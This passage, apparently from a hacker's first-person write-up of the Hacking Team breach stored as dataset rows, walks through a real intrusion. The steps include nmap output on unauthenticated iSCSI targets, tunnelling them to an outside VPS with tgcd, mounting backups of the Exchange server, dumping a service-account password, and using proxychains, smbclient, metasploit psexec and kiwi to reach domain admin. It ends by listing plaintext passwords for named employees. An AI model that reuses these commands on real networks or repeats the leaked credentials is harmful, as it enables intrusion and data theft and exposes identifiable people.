text stringlengths 0 1.99k |
|---|
Although it was fun to listen to recordings and see webcam images of Hacking |
Team developing their malware, it wasn't very useful. Their insecure backups |
were the vulnerability that opened their doors. According to their |
documentation [1], their iSCSI devices were supposed to be on a separate |
network, but nmap found a few in their subnetwork 192.168.1.200/24: |
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66) |
... |
3260/tcp open iscsi? |
| iscsi-info: |
| Target: iqn.2000-01.com.synology:ht-synology.name |
| Address: 192.168.200.66:3260,0 |
|_ Authentication: No authentication required |
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72) |
... |
3260/tcp open iscsi? |
| iscsi-info: |
| Target: iqn.2000-01.com.synology:synology-backup.name |
| Address: 10.0.1.72:3260,0 |
| Address: 192.168.200.72:3260,0 |
|_ Authentication: No authentication required |
iSCSI needs a kernel module, and it would've been difficult to compile it for |
the embedded system. I forwarded the port so that I could mount it from a VPS: |
VPS: tgcd -L -p 3260 -q 42838 |
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 |
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1 |
Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it |
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1 |
The way I solved it was: |
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1 |
And now, after: |
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login |
...the device file appears! We mount it: |
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp |
and find backups of various virtual machines. The Exchange server seemed like |
the most interesting. It was too big too download, but it was possible to |
mount it remotely to look for interesting files: |
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk |
$ fdisk -l /dev/loop0 |
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT |
so the offset is 2048 * 512 = 1048576 |
$ losetup -o 1048576 /dev/loop1 /dev/loop0 |
$ mount -o ro /dev/loop1 /mnt/exchange/ |
now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 |
we find the hard disk of the VM, and mount it: |
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/ |
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1 |
...and finally we've unpacked the Russian doll and can see all the files from |
the old Exchange server in /mnt/part1 |
[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf |
--[ 10 - From backups to domain admin ]----------------------------------------- |
What interested me most in the backup was seeing if it had a password or hash |
that could be used to access the live server. I used pwdump, cachedump, and |
lsadump [1] on the registry hives. lsadump found the password to the besadmin |
service account: |
_SC_BlackBerry MDS Connection Service |
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ |
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8. |
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!........... |
I used proxychains [2] with the socks server on the embedded device and |
smbclient [3] to check the password: |
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!' |
It worked! The password for besadmin was still valid, and a local admin. I |
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session. |
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and |
got a bunch of passwords, including the Domain Admin: |
HACKINGTEAM BESAdmin bes32678!!! |
HACKINGTEAM Administrator uu8dd8ndd12! |
HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin |
HACKINGTEAM m.romeo ioLK/(90 |
HACKINGTEAM l.guerra 4luc@=.= |
HACKINGTEAM d.martinez W4tudul3sp |
HACKINGTEAM g.russo GCBr0s0705! |
HACKINGTEAM a.scarafile Cd4432996111 |
HACKINGTEAM r.viscardi Ht2015! |
HACKINGTEAM a.mino A!e$$andra |
HACKINGTEAM m.bettini Ettore&Bella0314 |
HACKINGTEAM m.luppi Blackou7 |
HACKINGTEAM s.gallucci 1S9i8m4o! |
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